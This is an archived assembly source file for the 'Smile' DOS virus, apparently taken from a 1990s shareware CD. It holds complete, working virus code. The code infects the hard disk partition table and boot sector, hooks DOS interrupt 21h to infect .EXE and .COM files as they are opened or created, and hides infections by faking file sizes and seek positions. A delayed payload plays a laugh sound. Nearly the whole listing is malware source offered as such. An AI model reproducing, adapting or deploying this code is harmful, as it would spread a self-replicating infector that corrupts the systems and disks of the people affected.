home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SMILE.ASM < prev    next >
Assembly Source File  |  1992-11-29  |  38KB  |  1,143 lines

  1. ;------------------------------------------------------------------------------
  2. ;
  3. ; Virus Name:  Smile   
  4. ; Origin:      Holland
  5. ; Eff Length:  4,096 bytes
  6. ; Type Code:   PRhE - Parasitic Resident .EXE & partition table infector
  7. ;
  8. ;------------------------------------------------------------------------------
  9. ;
  10. ; This program is assembled with TASM V1.01 from Borland International
  11. ; (assembing with MASM V5.10 from Microsoft Inc. is also possible).
  12. ;
  13. ; TASM smile;
  14. ; LINK smile,,smile;
  15. ;
  16. ;------------------------------------------------------------------------------
  17. ;
  18. ; Interrupt vectors
  19. ;
  20. ;------------------------------------------------------------------------------
  21.  
  22. iseg segment at 0
  23.         org    8*4
  24. Int8o        dw    0            ; interrupt vector 21h
  25. Int8s        dw    0
  26.  
  27.         org    1ch*4
  28. Int1Co        dw    0            ; interrupt vector 21h
  29. Int1Cs        dw    0
  30.  
  31.         org    21h*4
  32. Int21o        dw    0            ; interrupt vector 21h
  33. Int21s        dw    0
  34.  
  35. iseg ends
  36.  
  37. cseg segment public 'code'
  38.         assume    cs:cseg,ds:cseg,es:cseg
  39.  
  40. ;------------------------------------------------------------------------------
  41. ;
  42. ; Header of EXE-file
  43. ;
  44. ;------------------------------------------------------------------------------
  45.  
  46. VirusSize    equ    1580h            ; size of virus
  47.                         ; this one is very important,
  48.                         ; if it isn't set right the
  49.                         ; virus will hang every
  50.                         ; infected file
  51.  
  52. PrgSize        equ    73h            ; size of prg after the virus
  53.                         ; this is used in the header
  54.                         ; of the dummy program
  55.  
  56.                         ; the value of these constants
  57.                         ; can be determined by creating
  58.                         ; a map-file with the linker.
  59.  
  60. Signature    dw    0            ; signature 'MZ'
  61. PartPage    dw    0            ; size of partitial page
  62. PageCount    dw    0            ; number of pages
  63. ReloCount    dw    0            ; number of relocation items
  64. HeaderSize    dw    0            ; size of header
  65. MinMem        dw    0            ; minimum memory needed
  66. MaxMem        dw    0            ; maximum memory needed
  67. ExeSS        dw    0            ; initial SS 
  68. ExeSP        dw    0             ; initial SP
  69. CheckSum    dw    0            ; unused ???
  70. ExeIP        dw    0            ; initial IP
  71. ExeCS        dw    0            ; initial CS
  72. ReloOffset    dw    0            ; offset of relocationtable
  73. OverlayNr    dw    0            ; number of overlay
  74.  
  75. ComSize        dw    -1            ; Size of com-file (-1 for exe)
  76.  
  77. ;------------------------------------------------------------------------------
  78. ;
  79. ; This procedure is called when starting from an exe-file
  80. ;
  81. ;------------------------------------------------------------------------------
  82.  
  83. Main:        pushf                ; save flags
  84.         sub    sp,4            ; reserve space far cs:ip
  85.         push    ax            ; save other registers
  86.         push    ds
  87.         push    es
  88.         sti                ; enable interrupts
  89.         cmp    cs:ComSize,-1        ; com or exe-file
  90.         je    ExeFile            ; -1 : exe-file
  91. ComFile:    mov    word ptr ds:[6],0fef0h    ; set availeble memory to max
  92.         mov    bp,sp            ; set cs:ip on stack for
  93.         mov    word ptr [bp+8],ds    ;   returning to the orginal
  94.         mov    word ptr [bp+6],100h    ;   program
  95.         mov    bp,ds            ; bp : stacksegment
  96.         mov    ax,cs            ; bx : begin of com-file
  97.         add    ax,(VirusSize/10h)
  98.         mov    bx,ax
  99.         mov    cx,0ff0h        ; cx : size of data to move
  100.         add    ax,cx            ; es : buffer for mover and
  101.         mov    es,ax            ;      infecting the bootsect.
  102.         push    cs            ; ds : codesegment
  103.         pop    ds
  104.         jmp    short InfectBoot    ; infect bootsector
  105. ExeFile:    mov    dx,cs            ; Relocation
  106.         add    dx,(VirusSize/10h)
  107.         mov    ds,dx
  108.         mov    cx,ReloCount        ; number of relocation items
  109.         add    dx,HeaderSize        ; size of exe-header
  110.         mov    si,ReloOffset        ; offset of 1st relocation item
  111.         jcxz    NoRelo
  112. NextRelo:    lodsw                ; offset
  113.         mov    di,ax
  114.         lodsw                ; segment
  115.         add    ax,dx
  116.         mov    es,ax
  117.         mov    ax,cs            ; relocation factor
  118.         add    es:[di],ax
  119.         loop    NextRelo        ; next relocation item
  120. NoRelo:        mov    bp,sp
  121.         mov    ax,cs            ; set cs:ip on stack for
  122.         add    ax,ExeCS        ;  returning to the orginal
  123.         mov    [bp+8],ax        ;  program
  124.         mov    ax,ExeIP
  125.         mov    [bp+6],ax
  126.         mov    bp,cs            ; bp : stacksegment
  127.         add    bp,ExeSS
  128.         mov    ax,PageCount        ; calculate size of exe-file
  129.         mov    dx,PartPage        ; in paragraphs
  130.         add    dx,-1
  131.         sbb    ax,0
  132.         mov    cl,4
  133.         shr    dx,cl
  134.         inc    dx
  135.         inc    cl
  136.         shl    ax,cl
  137.         add    dx,ax
  138.         add    dx,MinMem        ; dx : size of exe-file
  139.         mov    cx,dx            ; cx : size of code and data
  140.         sub    cx,HeaderSize
  141.         mov    bx,cs            ; bx : start of code and data
  142.         mov    ds,bx
  143.         add    bx,(VirusSize/10h)
  144.         add    bx,dx
  145.         mov    es,bx            ; es : buffer for mover and
  146.         sub    bx,cx            ;      infecting the bootsect.
  147. InfectBoot:    push    bx            ; save bx and cx
  148.         push    cx
  149.         mov    ax,201h            ; read bootsector from disk
  150.         xor    bx,bx
  151.         mov    cx,1
  152.         mov    dx,80h
  153.         int    13h
  154.         jc    BootOk            ; error ?
  155.         mov    si,offset BootSector    ; compare with infected code
  156.         xor    di,di
  157.         mov    cx,1*BootSize
  158.         cld
  159.         repe    cmpsb
  160.         je    BootOk            ; equal ?
  161.         mov    di,1beh+8        ; check partitions, we don't 
  162.         mov    cx,4            ; want to overwrite them
  163. NextPartition:    cmp    word ptr es:[di+2],0
  164.         ja    SectOk
  165.         cmp    word ptr es:[di],(VirusSize+1ffh)/200h+1
  166.         ja    SectOk
  167.         cmp    word ptr es:[di],0
  168.         ja    BootOk
  169. SectOk:        add    di,10h
  170.         loop    NextPartition
  171.         mov    si,offset BootSector    ; exchange code from bootsector
  172.         xor    di,di            ; with viral code
  173.         mov    cx,1*BootSize
  174.         cld
  175.         call    Swapsb
  176.         push    es            ; write virus to disk
  177.         pop    ds
  178.         push    cs
  179.         pop    es
  180.         mov    ax,(VirusSize+1ffh)/200h+300h
  181.         mov    cx,2
  182.         int    13h
  183.         push    ds
  184.         pop    es
  185.         push    cs
  186.         pop    ds
  187.         jc    BootOk            ; error ?
  188.         mov    ax,301h            ; write bootsector to disk
  189.         mov    cx,1
  190.         int    13h
  191. BootOk:        pop    cx            ; restore bx and cx
  192.         pop    bx
  193.         mov    dx,cs            ; dx = destenation segment
  194.         xor    di,di
  195.         push    es            ; push seg:ofs of mover
  196.         push    di
  197.         push    cx            ; save cx
  198.         mov    cx,1*MoverSize
  199.         mov    si,offset Mover
  200.         cld                    ; copy mover-procedure
  201.         rep    movsb
  202.         pop    cx            ; restore cx
  203.         cli                ; disable interrupts
  204.         retf                ; jump to mover
  205.  
  206. Mover:        mov    ax,cx            ; save cx
  207.         mov    ds,bx            ; ds:si = source
  208.         mov    es,dx            ; es:di = destenation
  209.         xor    si,si
  210.         xor    di,di
  211.         mov    cx,8h            ; copy one paragraph
  212.         rep    movsw
  213.         inc    bx
  214.         inc    dx
  215.         mov    cx,ax            ; restore cx
  216.         loop    Mover            ; next paragraph
  217.         mov    ss,bp            ; ss = new stacksegment
  218.         sti                ; enable interrupts
  219.         pop    es            ; restore registers
  220.         pop    ds
  221.         pop    ax
  222.         iret                ; jump to program
  223.  
  224. MoverSize    equ    ($-Mover)
  225.  
  226. ;------------------------------------------------------------------------------
  227. ;
  228. ; Bootsector startup
  229. ;
  230. ;------------------------------------------------------------------------------
  231.  
  232. Bootsector:    cli                ; disable interrupts
  233.         xor    bx,bx            ; setup stack and ds
  234.         mov    ds,bx
  235.         mov    ss,bx
  236.         mov    sp,7c00h
  237.         sti                ; enable interrupts
  238.         mov    ax,ds:[413h]        ; get size of base memory
  239.         sub    ax,(VirusSize+3ffh)/400h; subtract virussize
  240.         mov    ds:[413h],ax        ; store new memory size
  241.         mov    cl,6            ; calculate segment
  242.         shl    ax,cl
  243.         mov    es,ax            ; load virus in reserved mem
  244.         mov    ax,(VirusSize+1ffh)/200h+200h
  245.         mov    cx,2
  246.         mov    dx,80h
  247.         int    13h
  248.         mov    bx,offset StartUp    ; bx=offset startup
  249.         push    es            ; jump to startup (es:bx)
  250.         push    bx
  251.         retf
  252.  
  253. BootSize    equ    ($-Bootsector)        ; size of bootsector part
  254.  
  255. StartUp:    cli                    ; disable interrupts
  256.         mov    ax,offset Interrupt1C        ; hack interrupt 1C
  257.         xchg    ax,ds:Int1Co
  258.         mov    cs:OldInt1Co,ax
  259.         mov    ax,cs
  260.         xchg    ax,ds:Int1Cs
  261.         mov    cs:OldInt1Cs,ax
  262.         mov    cs:OldInt21o,-1
  263.         mov    cs:OldInt21s,-1
  264.         mov    cs:Count,-1
  265.         sti                ; enable interrupts
  266.         push    cs            ; ds=cs
  267.         pop    es
  268.         mov    si,7c00h        ; di=7c00h (Bootsector)
  269.         mov    di,offset BootSector    ; si=BootSector
  270.         mov    cx,1*BootSize        ; bytes to copy
  271.         cld                ; copy forward
  272.         call    Swapsb            ; restore orginal boot
  273.         mov    ax,7c00h        ; offset bootsector
  274.         push    ds            ; jump to bootsector
  275.         push    ax
  276.         retf
  277.  
  278. Interrupt8:    push    ax            ; save registers
  279.         push    si
  280.         push    ds
  281.         push    cs
  282.         pop    ds
  283.         mov    si,SampleOffset        ; get offset of next bit
  284.         dec    byte ptr ds:SampleBit
  285.         test    byte ptr ds:SampleBit,7
  286.         jnz    OfsOk
  287.         inc    si
  288.         cmp    si,offset SampleEnd    ; end of sample ?
  289.         jb    OfsOk            ; no, play bit
  290.         mov    al,34h            ; reset int 8 frequency
  291.         out    43h,al
  292.         xor    ax,ax
  293.         out    40h,al
  294.         out    40h,al
  295.         mov    ds,ax            ; reset int 8 vector
  296.         mov    ax,cs:OldInt8o
  297.         mov    ds:Int8o,ax
  298.         mov    ax,cs:OldInt8s
  299.         mov    ds:Int8s,ax        
  300.         inc    byte ptr cs:SampleFlag    ; set sample ready flag
  301.         jmp    short ExitInt8        ; end of interrupt
  302. OfsOk:        mov    SampleOffset,si        ; store offset
  303.         rol    byte ptr ds:[si],1    ; next bit
  304.         mov    ah,ds:[si]        ; get bit value
  305.         and    ah,1
  306.         shl    ah,1
  307.         in    al,61h            ; get value of io-port 61h
  308.         and    al,0fch            ; reset last 2 bits
  309.         or    al,ah            ; set bit 2 with sample value
  310.         out    61h,al            ; write to io-port 61h
  311. ExitInt8:    mov    al,20h            ; end of interrupt signal
  312.         out    20h,al
  313.         pop    ds            ; restore registers
  314.         pop    si
  315.         pop    ax
  316.         iret                ; return to program
  317.  
  318. Interrupt1C:    push    ds            ; save registers
  319.         push    ax
  320.         push    bx
  321.         xor    ax,ax            ; interrupts vectors
  322.         mov    ds,ax
  323.         mov    ax,ds:Int21o
  324.         cmp    cs:OldInt21o,ax
  325.         jne    Changed
  326.         mov    ax,ds:Int21s
  327.         cmp    cs:OldInt21s,ax
  328.         je    Equal
  329. Changed:    mov    ax,ds:Int21o
  330.         mov    cs:OldInt21o,ax
  331.         mov    ax,ds:Int21s
  332.         mov    cs:OldInt21s,ax
  333.         mov    cs:Count,182
  334.         jmp    short NotReady
  335. Equal:        dec    cs:Count
  336.         jnz    NotReady
  337.         mov    ax,cs:OldInt1Co        ; restore vector 1C
  338.         mov    ds:Int1Co,ax        ; (This interrupt)
  339.         mov    ax,cs:OldInt1Cs
  340.         mov    ds:Int1Cs,ax
  341.         mov    ax,offset Interrupt21    ; Hack interrupt 21
  342.         xchg    ax,ds:Int21o
  343.         mov    cs:OldInt21o,ax
  344.         mov    ax,cs
  345.         xchg    ax,ds:Int21s
  346.         mov    cs:OldInt21s,ax
  347.         mov    ax,16
  348.         mov    bx,offset Handle
  349. NextHandle:    mov    byte ptr cs:[bx],0
  350.         inc    bx
  351.         dec    ax
  352.         jnz    NextHandle
  353.         mov    byte ptr cs:Active,-1
  354. NotReady:    pop    bx
  355.         pop    ax            ; restore registers
  356.         pop    ds
  357.         jmp    cs:OldInt1C        ; do orginal int 1C
  358.  
  359. Swapsb:        mov    al,es:[di]        ; exchange two memory bytes
  360.         xchg    al,ds:[si]
  361.         stosb
  362.         inc    si
  363.         loop    Swapsb            ; next byte
  364.         ret                ; return
  365.  
  366. ;------------------------------------------------------------------------------
  367. ;
  368. ; Manipilated functions
  369. ;
  370. ;------------------------------------------------------------------------------
  371.  
  372. Functions    db    11h                ; 1
  373.         dw    offset FindFCB
  374.         db    12h                ; 2
  375.         dw    offset FindFCB
  376.         db    30h                ; 3
  377.         dw    offset DosVersion
  378.         db    3ch                ; 4
  379.         dw    offset Open
  380.         db    3dh                ; 5
  381.         dw    offset Open
  382.         db    3eh                ; 6
  383.         dw    offset Close
  384.         db    42h                ; 7
  385.         dw    offset Seek
  386.         db    45h                ; 8
  387.         dw    offset Duplicate
  388.         db    46h                ; 9
  389.         dw    offset Redirect
  390.         db    4eh                ; 10
  391.         dw    offset Find
  392.         db    4fh                ; 11
  393.         dw    offset Find
  394.         db    5bh                ; 12
  395.         dw    offset Open
  396.         db    6ch                ; 13
  397.         dw    offset OpenCreate
  398.  
  399. FunctionCount    equ    13
  400.  
  401. ;------------------------------------------------------------------------------
  402. ;
  403. ; The orginal interrupt 21h is redirected to this procedure
  404. ;
  405. ;------------------------------------------------------------------------------
  406.  
  407. DosVersion:    push    ax
  408.         push    cx
  409.         push    dx
  410.         push    ds
  411.         push    cs
  412.         pop    ds
  413.         cmp    cs:Active,0
  414.         je    NotActive
  415.         mov    ah,2ah
  416.         call    DOS
  417.         cmp    ActiveYear,cx
  418.         jb    NotActive
  419.         cmp    ActiveDate,dx
  420.         jb    NotActive
  421.         cli
  422.         xor    ax,ax
  423.         mov    ds,ax
  424.         mov    ax,offset Interrupt8
  425.         xchg    ax,ds:Int8o
  426.         mov    cs:OldInt8o,ax
  427.         mov    ax,cs
  428.         xchg    ax,ds:Int8s
  429.         mov    cs:OldInt8s,ax
  430.         mov    al,34h
  431.         out    43h,al
  432.         mov    al,80h
  433.         out    40h,al
  434.         mov    al,0
  435.         out    40h,al
  436.         push    cs
  437.         pop    ds
  438.         mov    byte ptr SampleFlag,0
  439.         mov    byte ptr SampleBit,0
  440.         mov    word ptr SampleOffset,offset SampleData
  441.         sti
  442. Delay:        cmp    byte ptr SampleFlag,0
  443.         je    Delay
  444.         mov    byte ptr Active,0
  445. NotActive:    pop    ds
  446.         pop    dx
  447.         pop    cx
  448.         pop    ax
  449.         jmp    Old21
  450.  
  451. FindFCB:    call    DOS            ; call orginal interrupt
  452.         cmp    al,0            ; error ?
  453.         jne    Ret1
  454.         pushf                ; save registers
  455.         push    ax
  456.         push    bx
  457.         push    es
  458.         mov    ah,2fh            ; get DTA
  459.         call    DOS
  460.         cmp    byte ptr es:[bx],-1    ; extended fcb ?
  461.         jne    FCBOk
  462.         add    bx,8            ; yes, skip 8 bytes
  463. FCBOk:        mov    al,es:[bx+16h]        ; get file-time (low byte)
  464.         and    al,1fh            ; seconds
  465.         cmp    al,1fh            ; 62 seconds ?
  466.         jne    FileOk            ; no, file not infected
  467.         sub    word ptr es:[bx+1ch],VirusSize
  468.         sbb    word ptr es:[bx+1eh],0    ; adjust file-size
  469.         jmp    short Time
  470.  
  471. Find:        call    DOS            ; call orginal interrupt
  472.         jc    Ret1            ; error ?
  473.         pushf                ; save registers
  474.         push    ax
  475.         push    bx
  476.         push    es
  477.         mov    ah,2fh
  478.         call    DOS
  479.         mov    al,es:[bx+16h]        ; get file-time (low byte)
  480.         and    al,1fh            ; seconds
  481.         cmp    al,1fh            ; 62 seconds ?
  482.         jne    FileOk            ; no, file not infected
  483.         sub    word ptr es:[bx+1ah],VirusSize
  484.         sbb    word ptr es:[bx+1ch],0    ; change file-size
  485. Time:        xor    byte ptr es:[bx+16h],1fh; adjust file-time
  486. FileOk:        pop    es            ; restore registers
  487.         pop    bx
  488.         pop    ax
  489.         popf
  490. Ret1:        retf    2            ; return
  491.  
  492. Seek:        or    bx,bx            ; bx=0 ?
  493.         jz    Old21            ; yes, do orginal interrupt
  494.         push    bx
  495.         call    FindHandle
  496.         pop    bx
  497.         jc    Old21
  498. Stealth:    or    al,al            ; seek from top of file ?
  499.         jnz    Relative        ; no, don't change cx:dx
  500.         add    dx,VirusSize        ; change cx:dx
  501.         adc    cx,0
  502. Relative:    call    DOS            ; Execute orginal int 21h
  503.         jc    Ret1            ; Error ?
  504.         sub    ax,VirusSize        ; adjust dx:ax
  505.         sbb    dx,0
  506.         jmp    short Ret1        ; return
  507.  
  508. Close:        or    bx,bx            ; bx=0 ?
  509.         je    Old21            ; yes, do orginal interrupt
  510.         push    ax
  511.         push    cx
  512.         push    dx
  513.         push    si
  514.         push    ds
  515.         push    cs            ; ds=cs
  516.         pop    ds
  517.         push    bx
  518.         call    FindHandle
  519.         mov    si,bx
  520.         pop    bx
  521.         jc    DoNotUpdate
  522.         mov    word ptr ds:[si],0
  523.         cmp    byte ptr ds:[si+2],0
  524.         je    DoNotUpdate
  525.         call    UpdateHeader
  526. DoNotUpdate:    pop    ds            ; restore registers
  527.         pop    si
  528.         pop    dx
  529.         pop    cx
  530.         pop    ax
  531. Not2:        jmp    short Old21        ; continue with orginal int
  532.  
  533. Interrupt21:    push    bx            ; after an int 21h instruction
  534.         push    cx            ; this procedure is started
  535.         mov    bx,offset Functions
  536.         mov    cx,FunctionCount
  537. NxtFn:        cmp    ah,cs:[bx]        ; search function
  538.         je    FunctionTrap
  539.         add    bx,3
  540.         loop    NxtFn
  541.         pop    cx            ; function not found
  542.         pop    bx
  543. Old21:        jmp    cs:OldInt21
  544.  
  545. FunctionTrap:    push    bp            ; function found, start viral
  546.         mov    bp,sp            ; version of function
  547.         mov    bx,cs:[bx+1]
  548.         xchg    bx,[bp+4]
  549.         mov    cx,[bp+10]
  550.         xchg    cx,[bp+2]
  551.         pop    bp
  552.         popf
  553.         ret
  554.  
  555. Duplicate:    call    DOS
  556.         jc    Error
  557.         pushf
  558.         push    bx
  559.         push    dx
  560.         call    FindHandle
  561.         jc    Ret3
  562.         mov    dl,cs:[bx+2]
  563.         mov    bx,ax
  564.         call    StoreHandle
  565. Ret3:        pop    dx
  566.         pop    bx
  567.         popf
  568.         jmp    Ret2
  569.  
  570. Redirect:    call    DOS
  571.         jc    Error
  572.         pushf
  573.         push    bx
  574.         push    cx
  575.         xchg    bx,cx
  576.         call    FindHandle
  577.         jc    Ret4
  578.         mov    cs:[bx],cx
  579. Ret4:        pop    cx
  580.         pop    bx
  581.         popf
  582.         jmp    Ret2
  583.  
  584. OpenCreate:    or    al,al            ; extended open/create function
  585.         jne    Old21            ; no, do orginal interrupt 21
  586.         push    dx            ; save dx
  587.         mov    dx,si            ; check extension of filename
  588.         call    CheckName
  589.         pop    dx            ; retore dx
  590.         jc    Old21            ; exe or com-file?
  591.         jmp    short ExtensionOk    ; yes, infect file or use
  592.                         ; stealth
  593.  
  594. Open:        call    CheckName        ; exe or com-file ?
  595.         jc    Old21            ; no, do orginal int 21
  596. ExtensionOk:    call    DOS            ; do interrupt 21
  597.         jnc    NoError            ; error ?
  598. Error:        jmp    Ret2            ; yes, return and do nothing
  599. NoError:    pushf                ; save registers
  600.         push    ax
  601.         push    bx
  602.         push    cx
  603.         push    dx
  604.         push    ds
  605.         push    cs
  606.         pop    ds
  607.         mov    bx,ax            ; bx = file handle
  608.         mov    ax,4400h        ; get device information
  609.         call    DOS
  610.         jc    PopRet            ; error ?
  611.         test    dx,80h            ; character device
  612.         jnz    PopRet            ; yes, return and do nothing
  613.         call    EndOfFile        ; get file size
  614.         or    ax,dx            ; 0 ?
  615.         jnz    FileExists        ; no, file already existed
  616. FileCreated:    call    HandleFree
  617.         jc    PopRet
  618.         mov    ah,2ah
  619.         call    DOS
  620.         add    dh,3
  621.         cmp    dh,12
  622.         jbe    DateOk
  623.         inc    cx
  624.         sub    dh,12
  625. DateOk:        mov    ActiveYear,cx
  626.         mov    ActiveDate,dx
  627.         mov    ah,40h            ; write virus to file
  628.         mov    cx,VirusSize
  629.         call    Zero2
  630.         jc    NoVir            ; error ? yes, return
  631.         xor    ax,cx            ; entire virus written ?
  632.         jnz    NoVir            ; no, return
  633.         mov    dl,1
  634.         call    StoreHandle
  635.         jmp    short PopRet        ; return
  636. FileExists:    call    TopOfFile        ; go to top of file
  637.         call    HandleFree
  638.         jc    PopRet            ; no, do nothing
  639.         call    ReadHeader        ; read exe-header
  640.         jc    NoVir            ; error ?
  641.         xor    ax,cx            ; entire header read
  642.         jne    NoVir            ; no, not infected
  643.         cmp    Signature,5a4dh        ; signature = 'MZ' ?
  644.         jne    NoVir            ; no, not infected
  645.         cmp    HeaderSize,ax        ; headersize = 0 ?
  646.         jne    NoVir            ; no, not infected
  647.         cmp    CheckSum,0DEADh        ; checksum = DEAD hex
  648.         jne    NoVir            ; no, not infected
  649.         mov    dl,0
  650.         call    StoreHandle
  651.         mov    dx,VirusSize        ; seek to end of virus
  652.         jmp    short Infected
  653. NoVir:        xor    dx,dx
  654. Infected:    xor    cx,cx            ; go to end of virus if file
  655.         mov    ax,4200h        ; is infected
  656.         call    DOS
  657. PopRet:        pop    ds            ; restore registers
  658.         pop    dx
  659.         pop    cx
  660.         pop    bx
  661.         pop    ax
  662.         popf
  663. Ret2:        retf    2            ; return
  664.  
  665. ;------------------------------------------------------------------------------
  666.  
  667. EndOfFile:    mov    ax,4202h        ; go to end of file
  668.         jmp    short Zero1
  669.  
  670. TopOfFile:    mov    ax,4200h        ; go to top of file
  671. Zero1:        xor    cx,cx
  672.         jmp    short Zero2
  673.  
  674. WriteHeader:    mov    ah,40h            ; write exe-header to file
  675.         jmp    short Hdr
  676.  
  677. ReadHeader:    mov    ah,3fh            ; read exe-header from file
  678. Hdr:        mov    cx,1eh
  679. Zero2:        xor    dx,dx
  680.  
  681. DOS:        pushf                ; call orginal interrupt
  682.         call    cs:OldInt21
  683.         ret
  684.  
  685. FindHandle:    push    ax
  686.         push    cx
  687.         mov    ax,bx
  688.         mov    bx,offset Handle
  689.         mov    cx,8
  690. NotFound:    cmp    ax,cs:[bx]
  691.         je    Found
  692.         inc    bx
  693.         inc    bx
  694.         inc    bx
  695.         loop    NotFound
  696.         stc
  697. Found:        pop    cx
  698.         pop    ax
  699.         ret
  700.  
  701. HandleFree:    push    bx
  702.         xor    bx,bx
  703.         call    FindHandle
  704.         pop    bx
  705.         ret
  706.  
  707. StoreHandle:    push    bx
  708.         push    bx
  709.         xor    bx,bx
  710.         call    FindHandle
  711.         pop    cs:[bx]
  712.         mov    cs:[bx+2],dl
  713.         pop    bx
  714.         ret
  715.  
  716. CheckName:    push    ax            ; check for .exe or .com
  717.         push    cx            ; save registers
  718.         push    si
  719.         push    di
  720.         xor    ah,ah            ; point found = 0
  721.         mov    cx,100h            ; max length filename = 100h
  722.         mov    si,dx            ; si = start of filename
  723.         cld
  724. NxtChr:        lodsb                ; get byte
  725.         or    al,al            ; 0 ?
  726.         je    EndName            ; yes, check extension
  727.         cmp    al,'\'            ; \ ?
  728.         je    Slash            ; yes, point found = 0
  729.         cmp    al,'.'            ; . ?
  730.         je    Point            ; yes, point found = 1
  731.         loop    NxtChr            ; next character
  732.         jmp    short EndName        ; check extension
  733. Slash:        xor    ah,ah            ; point found = 0
  734.         jmp    NxtChr            ; next character
  735. Point:        inc    ah            ; point found = 1
  736.         mov    di,si            ; di = start of extension
  737.         jmp    NxtChr            ; next character
  738. EndName:    cmp    ah,1            ; point found = 0
  739.         jne    NotExe            ; yes, not an exe-file
  740.         mov    si,di            ; si = start of extension
  741.         lodsw                ; first 2 characters
  742.         and    ax,0dfdfh        ; uppercase
  743.         mov    cx,ax
  744.         lodsb                ; 3rd character
  745.         and    al,0dfh            ; uppercase
  746.         cmp    cx,04f43h        ; extension = .com ?
  747.         jne    NotCom
  748.         cmp    al,04dh
  749.         je    ChkRet
  750. NotCom:        cmp    cx,05845h        ; extension = .exe ?
  751.         jne    NotExe
  752.         cmp    al,045h
  753.         je    ChkRet
  754. NotExe:        stc                ; set carry flag
  755. ChkRet:        pop    di            ; restore registers
  756.         pop    si
  757.         pop    cx
  758.         pop    ax
  759.         ret                ; return
  760.  
  761. UpdateHeader:    mov    ax,4200h        ; position read/write pointer
  762.         xor    cx,cx            ; at the end of the virus
  763.         mov    dx,VirusSize
  764.         call    DOS
  765.         call    ReadHeader        ; read orginal exe-header
  766.         cmp    Signature,5a4dh
  767.         je    InfectExe
  768. InfectCom:    mov    Signature,5a4dh
  769.         mov    ReloOffset,01ch
  770.         mov    OverlayNr,0
  771.         mov    ExeSS,(VirusSize-100h)/10h
  772.         mov    ExeSP,0fffeh
  773.         call    EndOfFile
  774.         sub    ax,VirusSize
  775.         sbb    dx,0
  776.         mov    ComSize,ax
  777.         mov    cx,10h
  778.         div    cx
  779.         sub    dx,1
  780.         mov    dx,0ff2h+20h
  781.         sbb    dx,ax
  782.         mov    MinMem,dx
  783.         jmp    WriteIt
  784. InfectExe:    mov    ComSize,-1
  785.         mov    ax,(VirusSize/10h)
  786.         add    ax,HeaderSize
  787.         add    ExeSS,ax
  788.         add    MinMem,20h
  789.         add    MaxMem,20h
  790.         jnc    MaxOk
  791. WriteIt:    mov    MaxMem,0ffffh
  792. MaxOk:        mov    ReloCount,0
  793.         mov    HeaderSize,0
  794.         mov    CheckSum,0DEADh
  795.         mov    ExeCS,0
  796.         mov    ExeIP,offset Main
  797.         call    EndOfFile
  798.         mov    cx,200h
  799.         div    cx
  800.         mov    PartPage,dx
  801.         add    dx,-1
  802.         adc    ax,0
  803.         mov    PageCount,ax
  804.         call    TopOfFile
  805.         call    WriteHeader        ; write header at the top of
  806.         jc    InfErr            ; the virus
  807.         mov    ax,5700h
  808.         call    DOS
  809.         mov    ax,5701h
  810.         or    cl,1fh
  811.         call    DOS
  812. InfErr:        ret
  813.  
  814. ;------------------------------------------------------------------------------
  815. ;
  816. ; Data to generate the Laugh sound
  817. ;
  818. ;------------------------------------------------------------------------------
  819.  
  820. SampleData    db    249,220,204,102, 51, 51,116,102,227,  6, 28,216,243,129,131, 54
  821.         db    140,204,226,227, 51, 18, 25,184, 98,199,131, 30, 25,204,204,193
  822.         db    230, 79, 28,248, 98,241,142,199, 51, 24,228,249,179, 44,221,241
  823.         db     54, 71,254, 46,  8,255,139,227, 59,196,241, 49,198,208,243,205
  824.         db    193,115,155,131,206, 46, 14,177,176, 51,205,129,158, 54,142,113
  825.         db    144,115,140,135, 56,240, 55,205,131,188,124, 51,199,195,156,120
  826.         db     25,199,129,156, 76, 49,197,195, 28,110, 57,231,129,156,120, 25
  827.         db    197,145,156,108, 25,102,201,158, 46, 12,113,224,231,141,163, 60
  828.         db     76, 25,227,104,228,229,131,131,154,157, 24,102,114,206, 71,193
  829.         db    241, 14,229,140, 55,196,241,125, 89, 27, 29,195,240,157, 30, 68
  830.         db    193,246, 57,135, 99, 56,238, 25,134,196,241,230, 24,  6, 24,176
  831.         db    231, 51,142,113,178,113,205, 55,160, 67, 57,198,143,177,147, 56
  832.         db    115,135, 89,193,157, 56,103,156,112,115,102,217,227, 30, 76,121
  833.         db    156,241, 35, 71, 56,227,155, 12,103,190, 56,115,198,105,150, 97
  834.         db    142, 28,113,230, 50, 60,185,201,156, 76,248,231, 13,204,248,100
  835.         db    199, 39, 28,113,198, 70, 71, 54,124,219, 99,135, 48, 62, 25,131
  836.         db    112,196, 31, 14, 51,225,225, 56,110,  1,206, 51,147,110, 15,129
  837.         db    252,127,  7,113,184, 29,135,192,236, 62,  7,227,224,127, 31,  3
  838.         db    176,240, 63,143,  1,216,248, 29,143,131,184,248, 63, 15,131,112
  839.         db    248,102, 28,134,225,208,238, 61, 12,199,161,220, 90, 25,199, 35
  840.         db    184,244, 51,139, 67, 56,164,119, 22,134,115,104,238, 60,140,226
  841.         db    217,206,105, 25,204,179, 28,211, 51,137, 38, 57,180,199, 50, 76
  842.         db    115, 44,199, 50,156,230, 73,142,101,152,230, 89,142,116,153,230
  843.         db    217,158,109,153,227, 65,142, 54, 14,241,176,102,198, 17,199, 26
  844.         db     14,204,105, 59, 49,131,156,153,135,135, 19, 24, 30, 59,134, 99
  845.         db    188, 48,195,112,198, 57,216,198, 44,110, 76,205, 50, 76,176,110
  846.         db     19, 49,215, 48,222,199, 15,153,102,107, 38,195, 50,108, 51, 44
  847.         db    113,228,201, 60,204,241,204,184,100,204,198, 57,227, 32, 30,127
  848.         db    193,156,113,184,155, 24,201,201, 48,108,231,134, 70,112,102, 28
  849.         db    103,115,177,118, 49,135, 19, 57,177,155, 31, 28,121,248,230, 31
  850.         db    134, 96,248,230, 60,102,115, 51, 28, 51, 25,137,153,140,223,153
  851.         db    197,198, 92, 46,115, 99,243,115, 25,179, 57,153,177,217,248,207
  852.         db     76,204,243, 51, 27, 60,201,140,115, 28, 99, 51,137,227, 56,127
  853.         db     19,185,222,115,241,230, 31,129,224,252, 15,  7,225,248, 62, 15
  854.         db    131,224,120, 62,  7,129,240,120, 30,  7,129,224,124, 62,135,135
  855.         db    145,240,241, 62, 60,143, 15,145,225,228,120,124, 15, 15,  3,227
  856.         db    228,120,124, 31, 27,131,227, 96,252,108,159, 13,147,163,176,116
  857.         db    118, 14,  7,193,224,248, 60, 31,  7,195, 96,232,108, 28, 13,131
  858.         db    147,241,240,116, 62, 14,135,193,240,248, 62, 15, 14,192,225,216
  859.         db    152, 63, 27, 15,195,193,248,124, 63, 15,  7,224,240,254, 30, 14
  860.         db    227,192,238, 60, 30,227,224,231,143, 67,172,121,158, 51,144,112
